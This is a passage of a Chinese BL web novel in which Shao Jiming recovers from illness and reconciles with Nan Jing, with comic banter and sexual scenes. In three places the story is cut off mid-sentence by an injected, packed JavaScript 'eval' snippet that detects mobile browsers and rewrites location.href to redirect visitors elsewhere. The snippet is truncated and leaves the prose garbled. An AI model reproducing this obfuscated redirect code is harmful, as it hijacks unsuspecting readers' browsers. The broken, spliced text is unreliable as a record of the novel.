“你看!”秦朗一拍大腿,对周冉得意道,“群众的眼睛是雪亮的!既明都认可了!这怎么能说没用?这非常有用!至关重要!感情到了,水到渠成,那也得有“渠”啊!渠不通畅,水怎么到?我这是在帮他们疏通渠道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046520|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建设美好家园!” 周冉被他这套渠道理论噎得翻了个白眼,懒得跟他辩这种歪理,转而看向快要把自己缩进沙发里的邵既明,语气稍微正经了点,但依旧带着调侃:“邵既明,你别听你哥胡咧咧。他那套野路子,适合他自己,不一定适合你和南景。南景那人,吃软不吃硬,讲究细水长流,心意到了,感觉对了,比什么花里胡哨的技巧都强。你哥这是典型的直男思维,以为是个男人就跟他一样,脑子里除了那点事儿就没别的了。” 邵既明抬起湿漉漉的眼睛,看了看周冉,又飞快地瞟了一眼秦朗:“我知道。南景他……不一样的。我就是……就是有点紧张。好不容易……能抱着他睡了……” 秦朗立刻捕捉到关键词,又兴奋起来:“你看!紧张是吧?这就更需要理论知识武装了!紧张容易发挥失常!我跟你说,最重要的就是放松,当做一场必须打好的战役来规划!前期氛围营造,中期节奏把控,后期收尾工作,一样不能少!比如……” “秦朗,”周冉打断他,揉了揉太阳穴,觉得跟这二货讨论这个简直降低自己智商,“你能不能想点健康的?他们俩现在最重要的是适应新环境,稳定情绪,好好养身体!不是让你在这策划什么午夜攻坚战!” “我这不是在帮他们促进身心健康嘛!”秦朗不服,“身心一体!这方面和谐了,心情就好,心情好,身体恢复就快!这是科学!” “科学你个头!”周冉忍不住抄起手边的一个抱枕扔了过去,被秦朗笑嘻嘻地接住,“你那叫歪理邪说!邵既明,别理他。顺其自然,听唐医生的,把自己身体和情绪照顾好,就是给南景最好的礼物了。南景要的是个健健康康、开开心心的伴侣,不是个天天琢磨技巧的……学生。”她没好气地瞪了秦朗一眼。 秦朗抱着抱枕,撇撇嘴:“健康开心和技巧到位又不冲突……还能锦上添花呢……不信你问南景,他要是……唔!” 他话没说完,被周冉一个警告的眼神瞪了回去。 邵既明看着哥嫂斗嘴,心里的紧张反而被冲淡了些,甚至有点想笑。他知道秦朗是关心则乱,用他那种简单粗暴的方式在为他着急。他也知道周冉说得对,南景要的不是那些。可是……秦朗那些乱七八糟的教学,好像……也让他对某些事情,不再像之前那样,因为自己的不行而感到全是恐慌和自卑了。至少,他知道,即使硬件暂时罢工,他也不是完全没用的……这让他心里稍微踏实了那么一点点。 他正胡思乱想,就听秦朗又换了个话题,但依然在危险边缘试探:“对了既明,唐医生今天怎么说?药减了没?有没有说大概还要多久,你那个……嗯,小兄弟,能重振雄风?” 邵既明刚恢复一点正常的脸色又“唰”地红了:“就按计划,减了一点……说要看身体反应,慢慢来……没说具体时间……” “啧,这中医就是慢。”秦朗摸下巴,“要不还是试试我上次说的那个……” “秦朗!”周冉提高声音。 “好好好,不说不说。”秦朗举手投降,但眼珠子一转,又凑近邵既明,用自以为很低的声音说(其实整个客厅都听得见),“那什么,我后来又找到几个更……嗯,更针对你现在情况的进阶资料,回头发你。里面有些……嗯,不需要完全站起来也能让对方很享受的方法,特别适合过渡期!你好好研究!争取早日理论联系实际,给你哥交一份满意的实践报告!” 邵既明:“……”他现在只想把自己埋进沙发缝里,永远不要出来。 周冉已经放弃跟秦朗讲道理了,她拿起手机,开始面无表情地打字,嘴里念念有词:“看来是时候联系张律师,重新拟定一下婚前协议了,特别是关于配偶若因传播不良信息导致脑部退化,另一方有权申请强制治疗并接管全部财产的条款……” 秦朗瞬间蔫了,扑过去抱住周冉的胳膊:“老婆!我错了!我脑部健康得很!不需要治疗!财产都是你的!我也是你的!别找张律师!他收费太黑了!” 周冉被他晃得没法打字,没好气地抽回手:“你给我安生点!再胡说八道,今晚你就睡客厅,跟你的教学资料过去吧!” 秦朗立刻正襟危坐,双手放在膝盖上:“是!领导!保证不乱说话了!”但眼神还是忍不住往邵既明那边飘,挤眉弄眼。 邵既明被他哥弄得哭笑不得,心里那点因为搬家同居而产生的忐忑不安,倒是在这番毫无下限的扯皮中,消散了大半。 就在客厅里气氛刚刚从成人教育研讨会转向家庭内部威胁与反威胁的诡异平衡时,楼梯上传来轻微的脚步声。 正试图用眼神给邵既明传递晚上加油信号的秦朗,猛地闭上嘴,迅速收回视线,正襟危坐,目不斜视地看着前方空气,仿佛刚才那个满嘴跑火车的人不是他。 正在用眼神谋杀秦朗的周冉,也瞬间收敛了表情,端起水杯,优雅地抿了一口。 而邵既明,则像被按了暂停键,身体微微僵住,耳朵竖起,全部的注意力都集中在了楼梯的方向,脸上刚刚褪下一点的红晕,又有卷土重来的趋势。 南景从楼梯上走了下来。 他目光平静地扫过客厅里瞬间“石化”的三个人,最后落在邵既明身上,然后走向厨房,语气如常地问:“晚上想吃什么?冰箱里东西不多,简单点?” 秦朗第一个反应过来,立刻露出标准的、略带谄媚的笑容:“大舅哥做什么都好吃!我们不挑!对吧既明?” 邵既明赶紧点头:“嗯,都行,你定。我来帮你。” 周冉也放下水杯,恢复了她惯常的慵懒调子:“随便,能入口就行。不过秦朗说他来做,以表对你乔迁新居的祝贺。” 秦朗:“???”我什么时候说了?但他不敢反驳,只能干笑:“对对对,我来!我来露一手!大舅哥你休息!” 南景从厨房冰箱里拿出几样蔬菜和鸡蛋,闻言,抬眼看了看秦朗,又看了看周冉,最后目光掠过邵既明依旧微红的耳尖,挑了挑眉。 他什么都没问,只是点了点头:“行,那秦总辛苦了。厨房在这边。” 秦朗抹了把不存在的冷汗,压低声音对周冉说:“老婆,你太狠了!我哪会做饭!你这不是让我在大舅哥面前丢人吗!” 周冉白他一眼:“不会做就学。正好消耗一下你过剩的精力,免得整天琢磨些有的没的。” 秦朗苦着脸,又看向邵既明,用气音说:“既明,救命!哥只会煮泡面!” 邵既明看着秦朗愁眉苦脸的样子,又偷偷看了眼进厨房南景,心里那点羞窘和忐忑,终于彻底被一种温暖又踏实的幸福感取代。他抿了抿唇,忍住笑意,也小声对秦朗说:“走吧,南景都会,你洗洗菜?” 秦朗如获大赦,一拍邵既明的肩膀:“好兄弟!就这么定了!咱三合作,肯定能整出一桌……嗯,能吃的!” 周冉瞥了一眼厨房,心想,秦朗那些野路子,恐怕……还真用不上。 不过,就让那二货自己瞎琢磨去吧。 毕竟,这个家的“渠”道最终怎么“疏通”,往哪儿“流水”,恐怕……早就被那个在厨房里切菜的人,牢牢握在手中了。 而她,只需要准备好瓜子,等着看戏就行。 70. 实践与理论 夜色渐深,送走了吵吵闹闹、一步三回头(主要是秦朗)还要叮嘱“注意休息、有事打电话”(周冉翻着白眼把秦朗拖走)的哥嫂,别墅重新归于宁静。 邵既明跟在南景身后上楼,心跳依旧有些快,但不再是恐慌的急促。他回来了,和南景一起,回到了这个充满回忆,也见证了最不堪过往的房子。而这一次,南景是自愿留下的,看到了他所有的阴暗面,依然选择留下。 卧室的灯被南景按亮,房间明显被重新仔细收拾过,并非彻底改头换面,但那些刻意维持原样的僵硬感消失了,多了些鲜活的生活气息。床品换成了更柔软的浅色丝绸,阳台上多了两张舒适的躺椅和小边几,是南景喜欢的风格。窗帘被拉开了一些,能看见窗外疏朗的星空。 南景先去洗澡。水声隐约传来,邵既明站在房间里,有些手足无措,又忍不住这里摸摸,那里看看。他走到阳台,摸了摸那两张新躺椅的扶手,想象着以后能和南景一起在这里晒太阳、看夜景,心里就像被温热的蜂蜜水填满,甜得发胀。他又悄悄走到衣帽间门口,里面那个用衣服堆成的窝已经不见了,衣物被整齐挂好或叠放。但邵既明知道,它曾经在那里,南景也看见了。羞耻感依旧存在,但更多的是一种被接纳后的释然和一点点后怕——幸好,南景没有因此离开。 很快,水声停了。南景擦着头发走出来,穿着简单的白色纯棉T恤和同色短裤,露出修长结实的小腿和手臂,身上带着清爽的沐浴露味道,很好闻。 邵既明看着他,喉咙有些发干,心跳得更快了。“我……我也去洗个澡。”他听见自己声音有点飘。 “嗯,去吧。”南景看他一眼,走到床尾的软榻上坐下,随手拿起一本之前看了一半的书。 邵既明几乎是同手同脚地进了浴室。温热的水流冲在身上,稍稍缓解了他的紧张。他洗得很认真,把自己里里外外都洗得香喷喷。洗完后,他看着镜子里自己依旧苍白但有了点血色的脸,深吸了几口气,才裹着浴袍出去。 头发还在湿漉漉地滴水,他也顾不上擦,就这么走到南景面前。南景放下书,抬眼看他,目光落在他滴水的发梢上,皱了皱眉,起身去浴室拿了条干毛巾。 “过来。”南景在软榻上重新坐下,拍了拍自己面前的地毯。 邵既明立刻乖乖过去,盘腿坐在地毯上,背对着南景。 干燥柔软的毛巾覆上他的头顶,南景的手隔着毛巾,力道适中地揉擦着他的湿发。动作不算特别温柔,但邵既明却觉得舒服得几乎要喟叹出声。他顺从地低下头,任由南景摆弄,感受着那修长的手指穿过发丝,按压过头皮,带走水分。 “怎么不吹干?”南景的声音在头顶响起。 邵既明闭着眼,像只被顺毛的猫:“想你给我擦头发……我很喜欢。喜欢你摸摸我头发。” 南景擦头发的动作停顿了一下。 沉默了几秒,南景继续手上的动作,但放轻了些。毛巾吸干了大部分水分,他拿下毛巾,用手指代替,慢慢梳理着邵既明半干的头发。动作很慢,一下,又一下。 房间里很安静,只有两人轻微的呼吸声。 “邵既明。” “嗯?”邵既明迷迷糊糊地应了一声。 南景梳理他头发的动作停了下来,但手还停留在他发间。 “要不要试着和我谈场恋爱?” 邵既明的身体猛地僵住了!心脏在那一瞬间似乎停止了跳动,随即又以更疯狂的节奏擂动起来,撞得他耳膜嗡嗡作响。他几乎不敢相信自己的耳朵,猛地想要转身,却被南景按住了肩膀。 南景的手掌温热,力道不重。他没有让邵既明回头,而是继续用那种平静的语调说了下去,仿佛在说给邵既明听,也在说给自己听: “我话说在前头,这次,不会再有第三次了。” 没有解释第三次指的是什么,但邵既明听懂了。第一次,是五年前的分开。南景是在告诉他,也是告诉自己:这是最后一次机会。如果这一次再失败,再互相伤害,再走散,那就真的,再也没有以后了。这是南景给出的,最后的、也是全部的信任和可能性。 邵既明的眼眶瞬间就红了,泪水毫无预兆地涌了上来,模糊了视线。他想说什么,喉咙却像是被什么堵住了,发不出完整的声音,只能用力地点头,拼命地点头,眼泪大颗大颗地砸在身前的地毯上。 南景感觉到了他肩膀的颤抖,听到了他的呜咽。他松开了按着他肩膀的手,转而轻轻抚了抚他湿漉漉的后颈,。 邵既明终于能转过身,他仰起头,脸上泪痕交错,眼睛和鼻尖都红红的,看起来狼狈又可怜,但那双望向南景的眼睛,却亮得惊人。 “要……”他终于找回了自己的声音,嘶哑得厉害,却用力地回答,“要的,南景……要的。这次,这次我一定……一定不会再搞砸了。我会好好的,我保证,我用我的命保证……” “不用你保证。”南景打断他,伸手,用指腹擦去他脸上的泪,“用你的行动,用以后每一天,证明给我看。” “嗯!”邵既明用力点头,抓住南景为他擦泪的手,紧紧贴在自己湿漉漉的脸颊上,像抓住唯一的浮木,唯一的救赎。 南景看着他哭得一塌糊涂又亮着眼睛的样子,心里那块最坚硬的地方,似乎也彻底软化了下来。他弯下腰,在邵既明还带着泪水的眼皮上,很轻地,落下一个吻。 邵既明浑身一颤,随即整个人都像被点着了,从脸颊到脖颈,迅速蔓延开一片绯红。他仰着脸,傻傻地看着南景,像一只被天降的肉包子砸晕的小狗。 南景被他看得有点不自在,别开视线,清了清嗓子:“头发差不多干了,睡觉吧。” “嗯!”邵既明依旧只会用力点头,但抓住南景的手却没有松开。他像是想起了什么,脸更红了,眼神飘忽了一下,小声说:“南景……我,我可能……还是……” 他支支吾吾,不好意思说下去。那个不行,是他心里最深的隐痛和自卑。即使关系确定了,即使南景说了要谈恋爱,他依然害怕,怕自己这副残缺的身体,会扫兴,会让南景失望。 南景看着他羞赧又忐忑的样子,他反手握了握邵既明的手,拉着他站起来:“我知道。不急。慢慢来。”他顿了顿,看着邵既明依旧不安的眼睛,补充道,“对我来说,你现在能好好睡觉,好好吃饭,情绪稳定,比什么都重要。其他的,顺其自然,等身体好了再说。” 邵既明鼻子一酸,又想哭了,但这次是感动和安心。他亦步亦趋地跟着南景走到床边,看着南景掀开他那侧的被子躺下,才慢吞吞地爬到自己那边,规规矩矩地躺好,中间隔着一点距离,双手放在身体两侧,姿势僵硬得像个小学生。 南景看着他这副样子,心里好笑,又有点发软。他没说什么,只是伸手关了灯。 眼睛适应黑暗后,能隐约看到彼此的轮廓。南景能感觉到身旁的邵既明呼吸有些急促,身体绷得紧紧的。他无声地叹了口气,然后,在黑暗中,朝着邵既明的方向,缓缓伸出手臂。 邵既明感觉到身侧的床垫微微下陷,然后,一条温热的手臂,轻轻地,揽住了他的腰,将他往身边带了带。 邵既明的身体瞬间僵住,随即又像是被抽走了所有骨头,彻底软了下来。他一点点地转过身,面对南景,然后,将脸埋进了南景温热的颈窝。他贪婪地深吸了一口气,手臂犹豫了一下,也轻轻环上了南景的腰。 两人的身体隔着薄薄的睡衣贴在一起,体温相互传递。邵既明能清晰地听到南景沉稳有力的心跳,能感受到他胸膛规律的起伏。这是真的,不是梦。南景真的回来了,在他身边,抱着他,说要和他重新谈恋爱。 满足感和安全感像温水流遍全身,邵既明满足地喟叹一声,整个人都松懈下来,抱着南景蹭了蹭,找到了一个最舒服的姿势。南景没动,任由他抱着,手臂稳稳地圈着他,掌心贴在他的后背上。 “睡吧。”南景的声音在黑暗中响起。 “嗯……”随即,他感到一个温热柔软的东西,轻轻地,碰了碰他的额头。 是吻。一个很轻的晚安吻。 邵既明的睡意瞬间飞走了一半,心脏又开始不争气地狂跳。但他没敢动,假装自己已经睡着了,只是耳朵尖悄悄红了。 南景似乎也没打算做什么,那个吻一触即分,之后便再没有其他动作,只是抱着他,呼吸渐渐变得均匀绵长。 邵既明的睡意瞬间被这个轻柔的触碰驱散了大半,心脏像是被羽毛搔了一下,酥酥麻麻的。他没有动,依旧闭着眼,假装自己已经睡着,但全身的感官却无比清醒地聚焦在南景身上。他能感觉到南景吻过他额头后,似乎顿了顿,然后那怀抱更踏实了些,呼吸也渐渐平稳悠长,像是真的要睡了。 黑暗中,只有彼此交织的呼吸声。南景的胸膛温暖而规律地起伏着,揽着他的手臂却并无更多旖旎的意味。 身体里仿佛有什么在悄悄苏醒,蠢蠢欲动。是秦朗那些乱七八糟、却被他偷偷看了无数遍的教学视频在脑海里闪过破碎的画面,是南景刚才那句“要不要试着和我谈场恋爱”带来的确认感?还是此刻肌肤相亲、气息交融的亲密,唤醒了他压抑已久对眼前这个人最原始的渴望? 他不知道。他只知道,他不想就这样睡着。他想要更多。不仅仅是拥抱。他想要确认,南景是真的接纳了全部的他,包括他这副暂时“不行的身体,和他那些羞于启齿却真实存在的欲?望。 这个念头一旦冒出,就像野火般燎原,烧得他口干舌燥,心跳如雷。恐惧和羞耻感也随之而来,万一南景觉得他得寸进尺?万一他搞砸了,又让南景失望?万一……他那些学来的东西,根本不对,反而惹人笑话? 两种情绪在他心里激烈交战,让他的身体在南景怀里微微颤抖起来。 南景似乎察觉到了他的轻颤,揽着他的手臂无意识地又收紧了些,带着睡意的嗓音低低响起,有些含糊:“冷?” “……不冷。”邵既明听见自己用气音回答。 南景“嗯”了一声,似乎又要睡去。 不能再犹豫了。邵既明深吸一口气,像是用尽了毕生的勇气,在南景均匀的呼吸声中,悄悄地、极其缓慢地,动了动。 他没有大幅度动作,只是原本规规矩矩放在身侧的手,试探性地、一点点地,挪到了南景的腰间。 南景的身体微微一僵,呼吸似乎屏住了一瞬。 邵既明的心跳快得几乎要爆炸,但他没有停下。那只手小心翼翼带着无比的虔诚和试探,开始在南景的腰侧轻轻摩挲。不是带有强烈意味的抚摸,更像是一种依赖的、确认的触碰,指尖偶尔划过衣料下的肌肤。 他能感觉到南景的身体在他的触碰下,渐渐绷紧,呼吸的节奏也悄然发生了变化,不再是入睡前的平稳悠长,而是带上了一丝不易察觉的凝滞和……加深。 这细微的变化像是一剂强心针,给了邵既明莫大的鼓励。秦朗那些教学里关于观察对方反应、循序渐进的理论不合时宜地跳了出来。他屏住呼吸,大着胆子,将那只作乱的手,沿着南景的腰线,缓缓向上移动,隔着薄薄的T恤,抚过他平坦紧实的小腹,感受着布料下温热的肌肤和隐隐的肌肉轮廓。 南景终于有了更明显的反应。他一直没有动,也没有阻止,但邵既明能清晰地感觉到,那揽在自己腰间的手臂,肌肉明显绷紧了,热度在升高。还有……南景的呼吸,彻底乱了,不再是装睡能掩饰的平稳,而是带着一种逐渐明显的灼热,轻轻喷在邵既明的脖颈处。 这无声的默许和反应,像点燃了最后一根引线。邵既明所有的胆怯和犹豫都被烧光了,只剩下一种想要亲近这个人的强烈渴望。他不再满足于隔衣的触碰,那只原本只是虚虚搭在腰间的手,从南景T恤的下摆钻了进去。 邵既明的手掌有些汗湿,带着紧张的微潮,熨帖在南景紧实平滑的腰腹皮肤上。那触感太过真实,太过亲密,让他脑子嗡嗡作响。他学着记忆中那些模糊的教学,掌心缓缓地在南景的腰侧和腹部流连,指尖偶尔划过清晰的腹肌线条。 南景的呼吸骤然加重,在寂静的黑暗中清晰可闻。他终于不再是完全被动的承受者,那只一直揽着邵既明的手臂猛地收紧,将他更紧密地按向自己。另一只手也抬了起来,却不是阻止,而是带着灼人的温度,握住了邵既明在他衣内作乱的手腕。 但只是握住,并没有用力拉开。 邵既明的心几乎跳到了嗓子眼,他抬起湿漉漉的眼睛,在黑暗中努力想看清南景的表情,却只能看到一个模糊的轮廓和那双在夜色中异常明亮的眼睛。 “邵既明……”南景开口,声音嘶哑得厉害,像在极力隐忍着什么,“你……”他的话没有说完,似乎不知道该如何措辞,又或者,是身体的本能反应让他难以流畅思考。 邵既明被他看得心慌,但他没有退缩,反而就着被南景握住手腕的姿势,指尖更加不安分地、轻轻刮搔了一下南景紧实的腰侧,然后仰起脸,主动凑上去,吻住了南景的唇。 那个吻带着颤抖,带着咸涩的泪意。 南景回应了他。 邵既明的呼吸猛地一窒,另一只手则猛地扣住了他的后脑,将这个青涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管身体的某个部分依旧沉寂,无法完成最后一步,但刚才那番激烈纠缠,显然让邵既明找回了部分昔日作为主动方的感觉和自信。他用唇舌,用手,用尽从那些教学资料里学来的、以及自己揣摩出的所有技巧,耐心地、执拗地,取悦着、侵略着这个人。看着南景从最初的惊讶,到逐渐失守的喘息,再到最后难以自抑的颤抖和释放,邵既明心里的某种空洞,被这实在在由他主导的亲密一点点填满。 两人谁都没有先说话,只有交织着逐渐平复的呼吸声在安静的空间里起伏。 过了一会儿,南景似乎终于缓过那阵激烈的余韵,他抬起手臂,手背搭在汗湿的额头上,闭了闭眼,又睁开。那双总是冷静自持的眼眸,此刻还氤氲着一层水汽,眼尾绯红,看向半伏在他上方的邵既明时,眼神复杂,有未散的情?潮,有纵容,也有被彻底撩拨后的慵懒。 他的目光扫过邵既明汗湿的眉骨,红肿的唇,最后落在他亮得惊人的眼睛上,停顿了几秒。然后,他开口,声音还有些喘息,在寂静中显得格外清晰,也格外撩人: “……你,”他顿了顿,似乎在想如何措辞,但最终,目光里透出一点近乎无奈的好笑,和被充分“服务”后的餍足,“……到底在哪儿学的这些?” 他问的,显然不是那个简单的吻,而是之后那番令人头皮发麻、几乎让他失控的、堪称“专业”的唇舌与手指并用的“伺候”。 邵既明听到这个问题,脸上本就未褪的红晕“轰”地一下烧得更厉害,连脖颈和耳朵都变成了粉色。但这一次,羞赧之中,却有一种“看,我真的有用,我真的能让你这样”近乎孩子气的炫耀。 他没有避开南景的目光,反而迎着带着笑意的眼神,舔了舔自己依旧刺痛的嘴角,那里似乎还残留着属于南景的味道,然后,低声回答道:“是秦朗……给的教学视频。我……我真的有认真学,看了很多遍……也,也努力练习了……” 他说着,似乎想起了自己那些偷偷摸摸、面红耳赤对着视频“学习”和“练习”的夜晚,眼神飘忽了一瞬,但随即又坚定地看回南景,补充道:“你说……要证明给你看。我不知道别的还能怎么证明……我……我做得……还可以吗?” 最后那个问题,问得小心翼翼,与他刚才强势侵略的姿态形成了微妙的反差。 南景看着他这副样子,明明刚刚还像个掌控一切的掠食者,此刻却又变回了那个害怕被否定、急切需要认可的小狗。心里那点因为被技术性偷袭而升起的微妙复杂情绪,瞬间化为了柔软的无奈,也有被取悦后的兴致。 他没有立刻回答,只是伸手,用指腹轻轻擦过邵既明湿润红肿的唇角,动作带着亲昵。指尖沾染上一点晶莹,他顿了顿,目光在邵既明紧张期待的脸上停留片刻,然后,在邵既明骤然屏住的呼吸中,他将那根手指,缓缓地,放入了自己口中,舌尖轻舔了一下。 邵既明的瞳孔猛地收缩,全身的血液似乎都冲向了头顶,整个人僵在原地,连呼吸都忘记了。 南景却已若无其事地收回了手,仿佛刚才那个充满暗示和认可意味的动作再平常不过。他看着邵既明瞬间石化、然后从脸红到脖子、几乎要冒烟的样子,终于忍不住,低低地笑出了声。 “嗯,”他应了一声,目光在邵既明脸上流转,“学得……挺用功。” 邵既明先是一愣,随即,猛地将烧得滚烫的脸埋进南景汗湿的颈窝,像只害羞的鸵鸟,但手臂却将南景搂得更紧。 南景任由他抱着,感受着颈窝传来的滚烫温度。他抬起手,有一下没一下地抚摸着邵既明汗湿的后颈和短发,像在安抚一只激动过头的大型犬。 空气中的旖旎气息渐渐被一种温馨的宁静取代。 过了好一会儿,邵既明闷闷的声音从颈窝传来,带着浓浓的鼻音和委屈巴巴的撒娇:“你以后……能不能……也多教教我?”他顿了顿,声音更小了,“我还想学别的……更好……” 南景抚摸他头发的动作微微一顿,随即,眼底的笑意更深。 看来,秦朗那份“大礼”带来的影响,以及某位好学生的求学之心,恐怕……才刚刚开始。 “睡觉。”南景没有直接回答,只是收紧了手臂,“明天再说。” 邵既明紧紧的将他拥紧怀里,终于不再说话,只是将脸更深地埋进南景的颈窝。 至少,南景没有推开他,没有厌恶,甚至……似乎,还挺满意他的学习成果? 邵既明在南景规律的心跳声中,很快沉入了黑甜的梦乡。 南景听着他逐渐均匀的呼吸,感受着怀里温热又依恋的躯体,在黑暗中无声地勾了勾唇角。 教学视频?学以致用? 也罢。 只要学生肯用功,老师……似乎也不介意,多辅导一下。 夜,还很长。而属于他们的新“课程”,显然才刚刚拉开序幕。 71. 好了,戏幕落下,灯火渐熄。 半年多的时光,足以让很多事物悄然改变。 庭院里去年秋天落光叶子的银杏,已抽出嫩绿的新芽,在春日暖阳下摇曳生姿。别墅里曾经冷清空寂的气息,被生活的细碎声响和温暖痕迹取代,随意搭在沙发扶手的薄毯,茶几上并排放着的不同款式的水杯,阳台上并肩的躺椅边多了个小书架,里面塞满了心理学书籍。 邵既明的变化最为显著。药物在唐医生谨慎的调整下已减至最低维持量,定期心理咨询从未间断。更重要的是,南景稳定而包容的存在,那就是最有效的良药,一点点修复着他破碎的安全感和自我认知。他脸上不再是病态的苍白或紧绷,恢复了健康的血色,下颌线条也清晰了些,褪去了部分虚浮。身体更是肉眼可见地结实起来,近一米九的身高重新撑起了衣料,曾经消瘦凹陷的腰腹被薄而匀称的肌肉覆盖,虽未完全恢复到巅峰时的精壮,但已足够挺拔有力,属于成熟男性的宽肩窄腰线条重新显现。眼神里的阴霾和惊惶被一种沉静的光亮取代。 春天的一个寻常清晨,阳光在地板上投下光斑。南景习惯性早起,他正站在浴室洗手台前刷牙,薄荷味的泡沫在唇边堆起小小的云朵。他神色平静,半阖着眼,似乎还带着点晨起的慵懒,脑海里或许在规划着当天的工作,或许只是在放空。 突然,“砰”的一声,浴室门被猛地推开。 南景刷牙的动作一顿,从镜子里看去。 邵既明站在门口,身上……不着寸缕。晨光勾勒出他已然恢复矫健体魄的轮廓,宽肩,紧实的胸膛,线条清晰的腹肌向下隐入人鱼线,再往下……某个沉睡许久、曾被视作“故障”的部位,此刻正精神抖擞,彰显着存在感和蓬勃生机。 但比这具恢复良好的身体更引人注目的,是他脸上的表情——有极度兴奋、不敢置信的欣喜、如释重负的激动,甚至隐隐还有孩子气的亢奋。他的眼睛瞪得很大,亮得惊人,就这么直勾勾地看着镜子里的南景,胸膛因为急促的呼吸剧烈起伏,脸颊也因为激动泛着红晕。 “南景……”邵既明的声音有点抖,不是因为害怕或紧张,而是纯粹的情绪冲击,“我好了……南景,我终于……好了!!” 他说着,眼眶以肉眼可见的速度变红,水汽迅速积聚,眼看就要掉下金豆子——果然,骨子里还是个“哭包攻”。 南景嘴里还含着牙刷和泡沫,从镜子里看着门口这个赤条条、兴奋得快要哭出来、还一柱擎天的高大男人,一时间,饶是他再冷静自持,也有点懵。画面冲击力过强,信息量略大。他眨了眨眼,然后,继续了刷牙的动作,只是那动作的频率,似乎……微妙地加快了一些。 咕噜咕噜漱了口,用温水洗干净嘴边的泡沫,用毛巾擦干脸和手。做完这一切,他才转过身,正面朝向依旧光溜溜站在门口、眼巴巴望着他的邵既明。 南景的目光平静地扫过对方激动泛红的脸,掠过那起伏的胸膛,在那清晰可见的腹肌上停留了零点一秒,然后……视线上移,重新对上邵既明亮晶晶含着泪花的眼睛。 “啊,恭喜你啊。” 说完,他侧身,似乎打算绕过邵既明,走出浴室。 邵既明还沉浸在自己重振雄风的巨大喜悦和向南景报喜的激动中,眼看南景就这么轻描淡写地说了一句恭喜就要走,那怎么行?! 积蓄了半年的自我怀疑,以及无数次在亲密边缘因无能为力而不得不克制的憋闷,还有此刻身体复苏带来几乎要冲破胸膛的兴奋和某种更为原始的冲动,瞬间汇聚成一股力量。 “南景!”邵既明喊了一声,声音比刚才更哑。 在南景还没完全走出浴室门的刹那,邵既明动了。他一个箭步上前,动作快得带起一阵风,在南景略带惊讶的注视下,弯腰,伸手,将南景整个人拦腰扛了起来!像扛一袋米,但又小心翼翼地用手臂护住了他的腰腹,将人稳稳地、结实地架在了自己的肩膀上。 “邵既明!”南景被他这突如其来的动作惊得低斥一声。身体骤然悬空,视线颠倒,只能看到邵既明肌肉贲张的后背和紧实的腰臀线条。“你放我下来!”声音里带着点被突袭的恼怒,但仔细听,那恼怒底下,似乎并没有多少真正的抗拒。 “马上!马上就好!”他扛着南景,大步流星地走出浴室,几步走到床边,然后将肩上的南景,小心地安置在了柔软的被褥之上。 南景的身体陷入蓬松的织物,视野重新恢复正常。他抬眼,看向站在床边的邵既明。 邵既明逆着从窗户倾泻而入的晨光,阳光为他流畅的肌肉线条镀上了一层金边,每一寸肌理都诉说着这半年来的恢复与新生。 他的呼吸依旧急促,胸膛起伏,但脸上那种孩子气亢奋,渐渐沉淀为一种更深沉的、更为滚烫的目光。 半年了。小心翼翼的保护,耐心至极的等待,无数次戛然而止的亲密,和那些只能用其他方式表达的渴望与爱意。 身体的复苏,不仅仅意味着功能的恢复。 更意味着,那层横亘在他们之间因疾病而产生的、最后的无形隔膜,在此刻,被这具重新充满力量与生机的躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那些小心翼翼的守护,那些戛然而止的遗憾,那些关于“以后”的模糊期盼……终于,在此刻,尘埃落定,落地生根。 而属于他们的真正没羞没臊的日子,也随着这个宣告痊愈的清晨,和这个炽热如夏的吻—— 正式拉开了帷幕。 我想他们未来的日子,比如待会儿可能会,头晕腿软双目无神视线失焦,嘴唇合拢无能,浑身酥麻口水直流,翻白眼双腿发抖,腰酸背痛口齿不清,喉咙发炎嘴角撕裂,瞳孔失焦,腿上有淤青,身上有吻痕和牙印,腰酸背痛,失?禁,腿发软,肚子有明显的肿胀。 ——【全文完】—— 72. ~~~~[番外] 时间在重逢的褶皱里悄然流走,转眼又是小半年。自邵既明将南景接回别墅,竟已快满一年。初秋的天空是高而淡的灰蓝色,像一块被时间洗得发旧的绸。 这天下班前,南景发来消息,说晚上有饭局。 手机在掌心震动时,邵既明正在批一份文件。他顿住笔,盯着那行字看了几秒。胸腔里那股熟悉湿漉漉的焦虑又开始漫上来,但他抿了抿唇,把它按下去。他一个字一个字地敲: “我是爱你的,你是自由的,你交友我不干涉。” 发送。又觉不够,再补一句,像在说服自己:“你是独立的个体,我爱你,但我不会禁锢你。” 指尖悬在屏幕上,最后又追去一句看似轻松的:“玩的开心哦老婆。” 之后十分钟,办公室寂静得能听见空气流动的声音。他试图回到文件上,可铅字都在游移。手机屏幕暗了又被他按亮,始终没有新的讯息。他开始有些坐立不安了,那些努力维持的、关于“克制”与“给予自由”的表演,在这一刻显得徒劳又脆弱。 他放弃了,抓起手机,几乎是自暴自弃地敲下一行字:“老婆我要死了,我死给你看!” 点击发送。几乎是同时,巨大的窘迫攫住了他。他向后靠进椅背,抬手遮住眼睛。在重新拥有后的每一天,发现自己比从前更患得患失,更无法忍受任何形式的失去联系。这汹涌的依赖让他自己都感到窘迫,像一个无法治愈的顽疾。 